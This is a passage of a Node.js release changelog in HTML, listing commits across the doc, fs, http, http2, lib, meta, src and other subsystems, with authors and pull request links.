<li>[<a href="https://github.com/nodejs/node/commit/ad06bee70d"><code>ad06bee70d</code></a>] - <strong>doc</strong>: use markdown when branch-diff major release (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60179" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60179/hovercard">#60179</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0d4b11ed4"><code>c0d4b11ed4</code></a>] - <strong>doc</strong>: update teams in collaborator-guide.md and add links (Bart Louwers) <a href="https://github.com/nodejs/node/pull/60065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60065/hovercard">#60065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20b5ffcac3"><code>20b5ffcac3</code></a>] - <strong>doc</strong>: update previous version links in BUILDING (Mike McCready) <a href="https://github.com/nodejs/node/pull/61457" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61457/hovercard">#61457</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de345ea3a3"><code>de345ea3a3</code></a>] - <strong>doc</strong>: correct description of <code>error.stack</code> accessor behavior (René) <a href="https://github.com/nodejs/node/pull/61090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61090/hovercard">#61090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8418d9de7"><code>d8418d9de7</code></a>] - <strong>doc</strong>: fix link in <code>--env-file=file</code> section (N. Bighetti) <a href="https://github.com/nodejs/node/pull/60563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60563/hovercard">#60563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1107bda21e"><code>1107bda21e</code></a>] - <strong>doc</strong>: fix v22 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/42aab9469a"><code>42aab9469a</code></a>] - <strong>doc</strong>: add missing history entry for <code>sqlite.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60607/hovercard">#60607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deb6d5deff"><code>deb6d5deff</code></a>] - <strong>doc, module</strong>: change async customization hooks to experimental (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/60302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60302/hovercard">#60302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c659add7d1"><code>c659add7d1</code></a>] - <strong>doc,src,lib</strong>: clarify experimental status of Web Storage support (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60708/hovercard">#60708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dda95e91b9"><code>dda95e91b9</code></a>] - <strong>esm</strong>: avoid throw when module specifier is not url (Craig Macomber (Microsoft)) <a href="https://github.com/nodejs/node/pull/61000" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61000/hovercard">#61000</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/912945be89"><code>912945be89</code></a>] - <strong>events</strong>: remove redundant todo (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60595" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60595/hovercard">#60595</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22e156eb10"><code>22e156eb10</code></a>] - <strong>events</strong>: remove eventtarget custom inspect branding (Efe) <a href="https://github.com/nodejs/node/pull/61128" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61128/hovercard">#61128</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df6fd9b03f"><code>df6fd9b03f</code></a>] - <strong>fs</strong>: remove duplicate getValidatedPath calls (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61359" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61359/hovercard">#61359</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ea3e4d850"><code>6ea3e4d850</code></a>] - <strong>fs</strong>: fix errorOnExist behavior for directory copy in fs.cp (Nicholas Paun) <a href="https://github.com/nodejs/node/pull/60946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60946/hovercard">#60946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd918b9980"><code>dd918b9980</code></a>] - <strong>fs</strong>: fix ENOTDIR in globSync when file is treated as dir (sangwook) <a href="https://github.com/nodejs/node/pull/61259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61259/hovercard">#61259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4908e67ba0"><code>4908e67ba0</code></a>] - <strong>fs</strong>: remove duplicate fd validation in sync functions (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61361" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61361/hovercard">#61361</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a27bce3d9"><code>4a27bce3d9</code></a>] - <strong>fs</strong>: detect dot files when using globstar (Robin van Wijngaarden) <a href="https://github.com/nodejs/node/pull/61012" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61012/hovercard">#61012</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0186ff65c"><code>b0186ff65c</code></a>] - <strong>fs</strong>: validate statfs path (Efe) <a href="https://github.com/nodejs/node/pull/61230" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61230/hovercard">#61230</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6689775023"><code>6689775023</code></a>] - <strong>gyp</strong>: aix: change gcc version detection so CXX="ccache g++" works (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61464/hovercard">#61464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c4f4db663"><code>5c4f4db663</code></a>] - <strong>http</strong>: fix rawHeaders exceeding maxHeadersCount limit (Max Harari) <a href="https://github.com/nodejs/node/pull/61285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61285/hovercard">#61285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7599e2eccd"><code>7599e2eccd</code></a>] - <strong>http</strong>: replace startsWith with strict equality (btea) <a href="https://github.com/nodejs/node/pull/59394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59394/hovercard">#59394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/99a85213bf"><code>99a85213bf</code></a>] - <strong>http</strong>: lazy allocate cookies array (Robert Nagy) <a href="https://github.com/nodejs/node/pull/59734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59734/hovercard">#59734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7669e6a5ad"><code>7669e6a5ad</code></a>] - <strong>http</strong>: fix http client leaky with double response (theanarkh) <a href="https://github.com/nodejs/node/pull/60062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60062/hovercard">#60062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f074c126a8"><code>f074c126a8</code></a>] - <strong>http,https</strong>: fix double ERR_PROXY_TUNNEL emission (Shima Ryuhei) <a href="https://github.com/nodejs/node/pull/60699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60699/hovercard">#60699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8ac368363"><code>d8ac368363</code></a>] - <strong>http2</strong>: add diagnostics channels for client stream request body (Darshan Sen) <a href="https://github.com/nodejs/node/pull/60480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60480/hovercard">#60480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e26a7e464d"><code>e26a7e464d</code></a>] - <strong>http2</strong>: rename variable to additionalPseudoHeaders (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/60208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60208/hovercard">#60208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5df634f46e"><code>5df634f46e</code></a>] - <strong>http2</strong>: validate initialWindowSize per HTTP/2 spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61402/hovercard">#61402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ccc9a6205"><code>2ccc9a6205</code></a>] - <strong>http2</strong>: do not crash on mismatched ping buffer length (René) <a href="https://github.com/nodejs/node/pull/60135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60135/hovercard">#60135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e68a5f78a"><code>3e68a5f78a</code></a>] - <strong>inspector</strong>: inspect HTTP response body (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60572/hovercard">#60572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86ffa9a5d"><code>a86ffa9a5d</code></a>] - <strong>inspector</strong>: add network payload buffer size limits (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60236/hovercard">#60236</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea60ef5d74"><code>ea60ef5d74</code></a>] - <strong>lib</strong>: fix typo in <code>util.js</code> comment (Taejin Kim) <a href="https://github.com/nodejs/node/pull/61365" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61365/hovercard">#61365</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d8d9322a4"><code>9d8d9322a4</code></a>] - <strong>lib</strong>: fix TypeScript support check in jitless mode (sangwook) <a href="https://github.com/nodejs/node/pull/61382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61382/hovercard">#61382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc26f5c78f"><code>fc26f5c78f</code></a>] - <strong>lib</strong>: gbk decoder is gb18030 decoder per spec (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61099/hovercard">#61099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b87030012"><code>3b87030012</code></a>] - <strong>lib</strong>: enforce use of <code>URLParse</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61016/hovercard">#61016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a7479d4fc"><code>2a7479d4fc</code></a>] - <strong>lib</strong>: use <code>FastBuffer</code> for empty buffer allocation (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60558/hovercard">#60558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cf4c43582"><code>7cf4c43582</code></a>] - <strong>lib</strong>: fix constructor in _errnoException stack tree (SeokHun) <a href="https://github.com/nodejs/node/pull/60156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60156/hovercard">#60156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9d87fbfaa"><code>f9d87fbfaa</code></a>] - <strong>lib</strong>: fix typo in QuicSessionStats (SeokHun) <a href="https://github.com/nodejs/node/pull/60155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60155/hovercard">#60155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d26ccc652"><code>8d26ccc652</code></a>] - <strong>lib</strong>: remove redundant destroyHook checks (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60120/hovercard">#60120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/705832a1be"><code>705832a1be</code></a>] - <strong>lib,src</strong>: isInsideNodeModules should test on the first non-internal frame (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60991" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60991/hovercard">#60991</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f39ad190b"><code>6f39ad190b</code></a>] - <strong>meta</strong>: do not fast-track npm updates (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61475/hovercard">#61475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6a0ff9486"><code>a6a0ff9486</code></a>] - <strong>meta</strong>: fix typos in issue template config (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61399" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61399/hovercard">#61399</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec88c9b378"><code>ec88c9b378</code></a>] - <strong>meta</strong>: label v8 module PRs (René) <a href="https://github.com/nodejs/node/pull/61325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61325/hovercard">#61325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83143835de"><code>83143835de</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.13.2 to 2.14.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61245/hovercard">#61245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0802dc663a"><code>0802dc663a</code></a>] - <strong>meta</strong>: bump actions/setup-node from 6.0.0 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61244/hovercard">#61244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/587db55796"><code>587db55796</code></a>] - <strong>meta</strong>: bump actions/cache from 4.3.0 to 5.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61243/hovercard">#61243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/262c9d37a6"><code>262c9d37a6</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.6 to 4.31.9 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61241/hovercard">#61241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9763b5afd"><code>d9763b5afd</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 5.5.1 to 5.5.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61240/hovercard">#61240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0af73d1811"><code>0af73d1811</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 7.0.9 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61237/hovercard">#61237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8be6afd239"><code>8be6afd239</code></a>] - <strong>meta</strong>: move lukekarrys to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60985/hovercard">#60985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c497de5c74"><code>c497de5c74</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.0.0 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60927/hovercard">#60927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/774920f169"><code>774920f169</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.3 to 4.31.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60926" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60926/hovercard">#60926</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef3b1e5991"><code>ef3b1e5991</code></a>] - <strong>meta</strong>: bump peter-evans/create-pull-request from 7.0.8 to 7.0.9 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60924/hovercard">#60924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed667379f"><code>3ed667379f</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.31.2 to 4.31.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60770/hovercard">#60770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c0cefb126"><code>7c0cefb126</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.13.1 to 2.13.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60769/hovercard">#60769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c6a076e5d"><code>5c6a076e5d</code></a>] - <strong>meta</strong>: add Renegade334 to collaborators (Renegade334) <a href="https://github.com/nodejs/node/pull/60714" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60714/hovercard">#60714</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4dda2a18"><code>4f4dda2a18</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 5.0.0 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60532" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60532/hovercard">#60532</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c436f8d57c"><code>c436f8d57c</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 4.6.2 to 5.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60531" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60531/hovercard">#60531</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/402d9f87a6"><code>402d9f87a6</code></a>] - <strong>meta</strong>: bump github/codeql-action from 3.30.5 to 4.31.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60533" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60533/hovercard">#60533</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61be78e326"><code>61be78e326</code></a>] - <strong>meta</strong>: bump actions/setup-node from 5.0.0 to 6.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60529" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60529/hovercard">#60529</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e4164a623"><code>7e4164a623</code></a>] - <strong>meta</strong>: bump actions/stale from 10.0.0 to 10.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60528" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60528/hovercard">#60528</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bf6e1d010"><code>1bf6e1d010</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60325/hovercard">#60325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c66fc0e9cf"><code>c66fc0e9cf</code></a>] - <strong>meta</strong>: loop userland-migrations in deprecations (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60299" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60299/hovercard">#60299</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4be0791e7"><code>e4be0791e7</code></a>] - <strong>meta</strong>: call <code>create-release-post.yml</code> post release (Aviv Keller) <a href="https://github.com/nodejs/node/pull/60366" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60366/hovercard">#60366</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8674f6527f"><code>8674f6527f</code></a>] - <strong>module</strong>: preserve URL in the parent created by createRequire() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60974/hovercard">#60974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41db87a975"><code>41db87a975</code></a>] - <strong>msi</strong>: fix WiX warnings (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/60251" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60251/hovercard">#60251</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/884f313f40"><code>884f313f40</code></a>] - <strong>node-api</strong>: use Node-API in comments (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61320" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61320/hovercard">#61320</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/375164190b"><code>375164190b</code></a>] - <strong>node-api</strong>: use local files for instanceof test (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60190" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60190/hovercard">#60190</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/972a1107c0"><code>972a1107c0</code></a>] - <strong>os</strong>: freeze signals constant (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/61038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61038/hovercard">#61038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e992057ab7"><code>e992057ab7</code></a>] - <strong>perf_hooks</strong>: fix stack overflow error (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60084/hovercard">#60084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bb1814fdf"><code>0bb1814fdf</code></a>] - <strong>repl</strong>: fix pasting after moving the cursor to the left (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/60470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60470/hovercard">#60470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35a12fb996"><code>35a12fb996</code></a>] - <strong>src</strong>: replace <code>ranges::sort</code> for libc++13 compatibility on armhf (Rebroad) <a href="https://github.com/nodejs/node/pull/61789" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61789/hovercard">#61789</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbf00d4664"><code>dbf00d4664</code></a>] - <strong>src</strong>: add missing override specifier to Clean() (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61429" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61429/hovercard">#61429</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/140eba35d3"><code>140eba35d3</code></a>] - <strong>src</strong>: cache context lookup in vectored io loops (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61387/hovercard">#61387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93e7e1708b"><code>93e7e1708b</code></a>] - <strong>src</strong>: use C++ nullptr in webstorage (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61407/hovercard">#61407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef868447bc"><code>ef868447bc</code></a>] - <strong>src</strong>: fix pointer alignment (jhofstee) <a href="https://github.com/nodejs/node/pull/61336" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61336/hovercard">#61336</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a96256524c"><code>a96256524c</code></a>] - <strong>src</strong>: dump snapshot source with node:generate_default_snapshot_source (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61101/hovercard">#61101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec051b9efd"><code>ec051b9efd</code></a>] - <strong>src</strong>: add HandleScope to edge loop in heap_utils (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/60885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60885/hovercard">#60885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41749eb5d6"><code>41749eb5d6</code></a>] - <strong>src</strong>: remove redundant CHECK (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61130/hovercard">#61130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57c81e5af3"><code>57c81e5af3</code></a>] - <strong>src</strong>: fix off-thread cert loading in bundled cert mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60764/hovercard">#60764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b0616e024"><code>4b0616e024</code></a>] - <strong>src</strong>: handle DER decoding errors from system certificates (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60787" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60787/hovercard">#60787</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93393371f9"><code>93393371f9</code></a>] - <strong>src</strong>: use static_cast instead of C-style cast (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60868/hovercard">#60868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/900445b655"><code>900445b655</code></a>] - <strong>src</strong>: move Node-API version detection to where it is used (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60512/hovercard">#60512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8353a6da2a"><code>8353a6da2a</code></a>] - <strong>src</strong>: avoid C strings in more C++ exception throws (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60592/hovercard">#60592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27c860c51f"><code>27c860c51f</code></a>] - <strong>src</strong>: move <code>napi_addon_register_func</code> to <code>node_api_types.h</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60512/hovercard">#60512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0517752e7"><code>e0517752e7</code></a>] - <strong>src</strong>: remove unconditional NAPI_EXPERIMENTAL in node.h (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60345" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60345/hovercard">#60345</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21e2a52f8e"><code>21e2a52f8e</code></a>] - <strong>src</strong>: clean up generic counter implementation (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60447" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60447/hovercard">#60447</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aed23cb8ca"><code>aed23cb8ca</code></a>] - <strong>src</strong>: add enum handle for ToStringHelper + formatting (Burkov Egor) <a href="https://github.com/nodejs/node/pull/56829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56829/hovercard">#56829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e93650ebc"><code>2e93650ebc</code></a>] - <strong>src</strong>: fix timing of snapshot serialize callback (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60434/hovercard">#60434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece4acc18f"><code>ece4acc18f</code></a>] - <strong>src</strong>: add COUNT_GENERIC_USAGE utility for tests (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60434/hovercard">#60434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31c8e9d9ff"><code>31c8e9d9ff</code></a>] - <strong>src</strong>: use cached primordials_string (Sohyeon Kim) <a href="https://github.com/nodejs/node/pull/60255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60255/hovercard">#60255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f0ffddc14"><code>7f0ffddc14</code></a>] - <strong>src</strong>: implement Windows-1252 encoding support and update related tests (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/60893" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60893/hovercard">#60893</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2ba56d6b2"><code>c2ba56d6b2</code></a>] - <strong>src,permission</strong>: fix permission.has on empty param (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60674/hovercard">#60674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e55a2b895a"><code>e55a2b895a</code></a>] - <strong>src,permission</strong>: add debug log on is_tree_granted (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60668/hovercard">#60668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/902a78b43c"><code>902a78b43c</code></a>] - <strong>stream</strong>: fix isErrored/isWritable for WritableStreams (René) <a href="https://github.com/nodejs/node/pull/60905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60905/hovercard">#60905</a></li>
